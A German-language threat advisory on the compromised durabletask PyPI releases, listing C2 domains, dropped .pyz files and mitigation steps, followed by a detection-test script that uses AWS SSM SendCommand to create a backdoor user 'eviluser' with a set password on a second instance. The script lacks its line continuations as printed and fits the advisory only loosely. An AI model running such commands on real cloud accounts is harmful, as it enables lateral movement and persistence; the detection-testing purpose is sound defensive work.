durabletask: TeamPCPs neuester PyPI-Supply-Chain-Kompromiss

Zusammenfassung

Ein Angriff auf die Lieferkette zielte auf das Microsoft durabletask Python-Paket auf PyPI ab und führte zur Veröffentlichung bösartiger Versionen 1.4.1, 1.4.2, und 1.4.3. Der Angreifer nutzte Berichten zufolge ein kompromittiertes GitHub-Konto, um ein PyPI-Token zu erhalten und gefährliche Wheel-Dateien hochzuladen. Die bösartige Nutzlast wurde über Seil.pyz Archive geliefert, die darauf ausgelegt waren, Cloud-Anmeldeinformationen zu stehlen und sich auf zusätzliche Systeme auszubreiten. Die Erkennungsbemühungen sollten sich auf bestimmte temporäre Dateien, verdächtige Prozessaktivitäten und den Datenverkehr zu den identifizierten Command-and-Control-Domänen konzentrieren.

Untersuchung

Wiz verknüpfte das kompromittierte GitHub-Konto mit der früheren @antv Kampagne. Ihre Analyse ergab, dass der Angreifer Commit-Nachrichten wiederverwendet und auf durchgesickerte GitHub-Geheimnisse zugegriffen hatte, die das PyPI-Veröffentlichungstoken enthielten. Die bösartigen Wheel-Dateien enthielten eine transformers.pyz Komponente, die Seil.pyz Nutzlasten in /tmp abgelegt und die Command-and-Control-Kommunikation mit check.git-service.com and t.m-kosche.com.

Mitigation

Organisationen sollten möglicherweise exponierte Cloud- und Passwortmanager-Anmeldeinformationen rotieren, die identifizierten Command-and-Control-Domänen und URLs blockieren und nach Infektionsindikatoren wie ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8ssuchen. Alle temporären Dateien managed.pyz or rope-*.pyz sollten entfernt und verwandte Python-Prozesse beendet werden. GitHub Actions und PyPI-Veröffentlichungs-Workflows sollten ebenfalls verstärkt werden, um das Risiko einer ähnlichen Kompromittierung zu verringern.

Antwort

Sicherheitsteams sollten jegliche Verwendung von durabletask Versionen 1.4.1 durchsuchen 1.4.3, nach /tmp/managed.pyz and /tmp/rope-*.pyzsuchen und python3 Prozesse überwachen, die diese Dateien ausführen. Ausgehender DNS- und HTTP-Datenverkehr zu check.git-service.com and t.m-kosche.com sollte blockiert werden, während CloudTrail- und Kubernetes-Audit-Logs auf verdächtige SSM- oder kubectl exec Aktivitäten überprüft werden sollten. Betroffene Anmeldeinformationen sollten sofort rotiert und Protokolle des Passwortmanagers auf Anzeichen von Brute-Force- oder unbefugtem Zugriff überprüft werden.

Simulation Ausführung

Voraussetzung: Der Telemetrie- & Basislinien-Vorabcheck muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffsnarrativ & Befehle:
  Ein Angreifer hat Anmeldeinformationen auf einer kompromittierten EC2-Instanz (Instanz A). Mithilfe dieser Anmeldeinformationen nutzt der Angreifer AWS Systems Manager, um in eine zweite Instanz einzudringen (Instanz B) ohne Netzwerkports zu öffnen. Die Schritte sind:

  1. Aufzählung erreichbarer Instanzen via SSM:DescribeInstanceInformation um Ziele zu lokalisieren.
  2. Einen bösartigen Befehl ausgeben durchsuchen SSM:SendCommand (z.B. einen neuen privilegierten Benutzer erstellen) auf der Zielinstanz.
  3. Ausführung validieren indem der Befehlsausgang abgerufen wird.

  Der Angreifer verwendet die AWS CLI, die direkt CloudTrail-Ereignisse für beide API-Aufrufe generiert und die Bedingungen der Regel erfüllt.

• Regressionstest-Skript: Das folgende Skript reproduziert den Angriff in einem kontrollierten Labor. Es erwartet, dass die AWS CLI mit Anmeldeinformationen konfiguriert ist, die ssm:SendCommand and ssm:DescribeInstanceInformation Berechtigungen haben.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # -------------------------------------------------
  # Variablen – für Ihre Lab-Umgebung anpassen
  # -------------------------------------------------
  REGION="us-east-1"
  COMPROMISED_INSTANCE="i-0abcdef1234567890"   # Instanz A (Angreifer-Fußstütze)
  TARGET_INSTANCE="i-0fedcba9876543210"       # Instanz B (laterales Ziel)
  
  # 1️⃣ Aufzählung der SSM-verwalteten Instanzen (löst DescribeInstanceInformation aus)
  echo "[*] Aufzählung der SSM-verwalteten Instanzen..."
  aws ssm describe-instance-information 
      --region "$REGION" 
      --output json > /tmp/ssm_instances.json
  
  # 2️⃣ Ein bösartiger Befehl an das Ziel senden (löst SendCommand aus)
  echo "[*] Senden einer bösartigen Nutzlast an $TARGET_INSTANCE ..."
  MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser"
  aws ssm send-command 
      --instance-ids "$TARGET_INSTANCE" 
      --document-name "AWS-RunShellScript" 
      --comment "Bösartigen Benutzer beibehalten" 
      --parameters commands=["$MALICIOUS_CMD"] 
      --region "$REGION" 
      --output json > /tmp/ssm_sendcommand.json
  
  # 3️⃣ Befehl ID abrufen und auf Abschluss warten (optional)
  CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json)
  echo "[*] Befehls ID: $CMD_ID – Warte auf Ausführung..."
  aws ssm list-command-invocations 
      --command-id "$CMD_ID" 
      --details 
      --region "$REGION" 
      --output json
  
  echo "[+] Simulation abgeschlossen. CloudTrail sollte nun sowohl SSM:DescribeInstanceInformation als auch SSM:SendCommand Ereignisse enthalten."

• Bereinigungsbefehle: Den bösartigen Benutzer entfernen und jegliche verbleibende Befehlsverlauf löschen.

  #!/usr/bin/env bash
  set -euo pipefail
  
  REGION="us-east-1"
  TARGET_INSTANCE="i-0fedcba9876543210"
  
  echo "[*] Bereinigung bösartiger Artefakte auf $TARGET_INSTANCE ..."
  CLEANUP_CMD="userdel -r eviluser || true"
  aws ssm send-command 
      --instance-ids "$TARGET_INSTANCE" 
      --document-name "AWS-RunShellScript" 
      --comment "Bereinigung nach dem Test" 
      --parameters commands=["$CLEANUP_CMD"] 
      --region "$REGION"